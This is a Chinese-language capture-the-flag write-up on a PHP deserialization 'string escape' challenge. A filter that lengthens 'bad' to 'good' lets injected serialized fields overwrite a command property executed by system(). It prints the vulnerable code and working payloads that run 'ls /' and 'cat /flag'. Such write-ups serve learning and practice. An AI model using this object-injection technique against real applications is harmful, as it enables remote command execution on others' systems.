思路:

打开题目 查看php代码,再根据题目的提示确定这是字符串逃逸

<?php
highlight_file(__FILE__);
function waf($str){
    return str_replace("bad","good",$str);
}

class GetFlag {
    public $key;
    public $cmd = "whoami";
    public function __construct($key)
    {
        $this->key = $key;
    }
    public function __destruct()
    {
        system($this->cmd);
    }
}

unserialize(waf(serialize(new GetFlag($_GET['key']))));

分析一下代码

这段代码用GET方式接收了key,将这个key传入了GetFlag类中

之后又将这个类序列化了传入waf函数

查看waf函数 ,发现这个函数对传入如的字符串进行了处理,将传入的字符串中的bad字符替换成了good

最后又将处理过的字符串反序列化了,经过处理的字符串字符会增多,导致字符逃逸

我们只要传入一定量的字符bad,使逃逸的字符(payload)覆盖原本的字符就能实现任意命令执行

接下来构造paylaod

payload:

先将GetFlag类序列化查看

O:7:"GetFlag":2:{s:3:"key";s:0:"";s:3:"cmd";s:6:"whoami";}

来构造一下要执行的命令

                                ";s:3:"cmd";s:4:"ls /";}    

我们构造执行命令的字符长度是24,也就是说要逃逸24个字符,需要24个bad

构造payload

badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:4:"ls /";}

先在本地测试一下

image-20231024112553669.png
image-20231024112553669.png

使用var_dump函数查看GetFlag的结构,发现变量cmd的值已经是ls /

去题目测试

image-20231024112922436.png
image-20231024112922436.png

成功列出根目录

构造查看flag的payload

";s:3:"cmd";s:9:"cat /flag";}

查看flag的payload有29个字符

payload:

badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:9:"cat /flag";}

image-20231024113413431.png
image-20231024113413431.png

成功getflag